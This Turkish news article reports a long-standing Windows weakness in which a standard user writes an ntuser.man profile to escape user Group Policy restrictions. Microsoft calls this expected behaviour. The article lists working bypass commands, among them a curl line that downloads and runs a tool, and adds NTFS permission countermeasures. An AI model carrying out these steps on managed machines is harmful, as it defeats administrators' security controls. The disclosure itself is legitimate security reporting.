Haberler

Windows’ta 25 Yıllık Güvenlik Açığı: Standart Kullanıcılar Grup Politikalarını Bypass Edebiliyor

Bir araştırma Windows işletim sisteminde 25 yıldan uzun süredir var olduğu anlaşılan ciddi bir güvenlik açığını ortaya çıkardı. Bu açık, standart kullanıcı haklarına sahip bir kullanıcının, Windows’ta kendisi için tanımlanmış grup politikalarını etkisiz hale getirmesine olanak tanıyor. Microsoft ise bu davranışı bir “güvenlik sınırı ihlali” olarak görmediğini ve düzeltmeye yönelik bir planı olmadığını açıkladı.

Sorunun Kökeni: ntuser.man Dosyasının Önceliği

Windows’ta her kullanıcıya ait ntuser.dat adlı bir profil kayıt dosyası bulunur. Ancak bazı senaryolarda bu dosyanın özel bir versiyonu olan ntuser.man kullanılır. Bu “zorunlu kullanıcı profili” olarak adlandırılan dosya, yöneticiler tarafından oluşturulup kullanıcının profiline yazılırsa, sistem bu dosyayı öncelikli olarak yükler.

Kanthak’ın tespitine göre, standart kullanıcılar kendi kullanıcı dizinlerine ntuser.man dosyasını yazabiliyor ve bu dosya üzerinden sistem kayıt defterini (registry hive) dışarıdan oluşturabiliyor. Bu durum, kullanıcıya uygulanan grup politikalarının (örneğin Komut İstemi veya Kayıt Defteri erişimi kısıtlamaları) devre dışı kalmasına neden oluyor.

Microsoft’un Tutumu: “Beklenen Davranış”

Güvenlik açığı Microsoft’un Güvenlik Yanıt Merkezi’ne bildirildi. Ancak şirket, HKCU (HKEY_CURRENT_USER) altındaki kayıt anahtarlarının zaten kullanıcının sahipliğinde olduğunu, dolayısıyla bu yapıya yazma hakkının bir güvenlik açığı oluşturmadığını belirtti. Daha önce de benzer şekilde, 2019 yılında Tenable tarafından yapılan bir rapor da “beklenen davranış” olarak reddedilmişti.

Ofis Güvenlik Sertifikaları da Tehlikede

Eski bir Microsoft Grup İlkesi MVP’si olan Mark Heitbrink’e göre bu açık, kullanıcı profiline uygulanan Microsoft Office güvenlik sertifikalarının da geçersiz kılınmasına yol açıyor. Örneğin, .xls dosya uzantılarındaki makroları engelleyen politikalar devre dışı kalabiliyor. Bu da kurumsal sistemlerde ciddi güvenlik zaafiyetlerine neden olabilecek bir etki yaratıyor.

Kanıtlanmış Test Süreci

Bu açığı göstermek için bir dizi test adımı hazırlanmış durumda. Bunlar arasında:

  • Kullanıcının standart haklarla HKCU\Software\Policies gibi kayıt anahtarlarına yazamadığını doğrulamak,
  • Offreg.dll dosyasını kullanarak ntuser.man yapısını dışarıdan oluşturmak,
  • Sistemi yeniden başlatarak ntuser.man dosyasının yüklenmesini sağlamak,
  • Daha önce uygulanan politikaların artık etkili olmadığını test etmek gibi işlemler yer aldı.

Bu testler sonucunda, standart bir kullanıcı grup politikalarını pasif hale getirebiliyor ve bu durum yeniden giriş yaptıktan sonra kalıcı hale geliyor.

Ne Yapılabiliyor?

Kullanıcı, bazı kayıt defteri değerlerini içermeyen bir ntuser.man dosyası oluşturup tekrar oturum açtığında, sistem Grup İlkesi ile gelen sınırlamaları yükleyemiyor.

Sonuç: Komut İstemi (CMD), Kayıt Defteri (regedit) ve benzeri araçlara erişim tekrar mümkün oluyor.

Teknik Test Adımları ve Komutlar

Adım 1 – Kullanıcının registry’ye erişimi olup olmadığını test et:

WHOAMI.exe /USER
REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE
REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE
CHDIR /D "%USERPROFILE%"
CURL.exe -q -O -R https://skanthak.hier-im-netz.de/temp/GPOFFREG.COM
.\GPOFFREG.com

Bu araç, geçerli kayıt defteri değerlerini okur (Policies içermeyen) ve ntuser.man dosyasına yazar.

Adım 3 – Grup Politikası ayarlarını Admin ile uygula:

REG.exe ADD HKEY_USERS\%SID%\Software\Policies\Microsoft\Windows\System /V DisableCMD /T REG_DWORD /D 1

REG.exe ADD HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Policies\System /V DisableRegistryTools /T REG_DWORD /D 1

< SID > kısmına, ilk komutta elde ettiğiniz kullanıcı SID değerini girin.

Adım 4 – Politikaların etkili olduğunu test et:

CMD.exe
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S
REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S

CMD, regedit veya Task Manager gibi araçlara erişim olmamalı; “The command prompt has been disabled by the administrator

Adım 5 – Oturumu kapat ve yeniden aç

Bu aşamada sistem, ntuser.dat yerine ntuser.man dosyasını yükler. Kullanıcı artık politikaları bypass etmiş olur.

Adım 6 – Artık kayıt defteri erişimi mümkündür:

CMD.exe
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S
REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S

Yukarıdaki işlemler normalde kısıtlı kullanıcıda hata verirdi.

Güvenlik Etkisi

Tüm kullanıcı profili politikaları etkisiz hale getirilebildiğinden, örneğin Office makro kısıtlamaları, cmd ve regedit yasakları, GPO ile engellenen ayarlar devre dışı kalabilir.

Önerilen Karşı Önlemler

Aaşağıdaki NTFS izin değişikliklerini öneriyor:

1. %USERPROFILE% dizininde dosya oluşturmayı engelle:

CHDIR /D "%USERPROFILE%"
CACLS.exe . /S
SET /P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis
CACLS.exe . /S:%DACL%

2. ntuser.dat dosyasının DACL erişimini sınırlamak:

CACLS.exe ntuser.dat /S
SET /P DACL=Copy the output and insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis CACLS.exe ntuser.dat /S:%DACL%

Microsoft’un Yanıtı: “Beklenen Davranış”

MSRC, bu durumu bir güvenlik açığı olarak değerlendirmediğini belirtti:

“HKCU hive’ı zaten kullanıcının yetikili bir alan olduğu için buraya yazabiliyor olması güvenlik ihlali sayılmaz.”

Bu açık sayesinde her kullanıcı, basit birkaç adımla kendisine tanımlanan tüm grup politikalarını devre dışı bırakabilir. Üstelik bu tasarım açığı 25 yıldır fark edilmeden sistemlerde bulunuyor. Microsoft bu konuda bir düzeltme yapmayacağını bildirirken, kurumların bu açığa karşı manuel güvenlik önlemleri alması gerektiği vurgulanıyor.

İlgili Makaleler

Bir yanıt yazın

Başa dön tuşu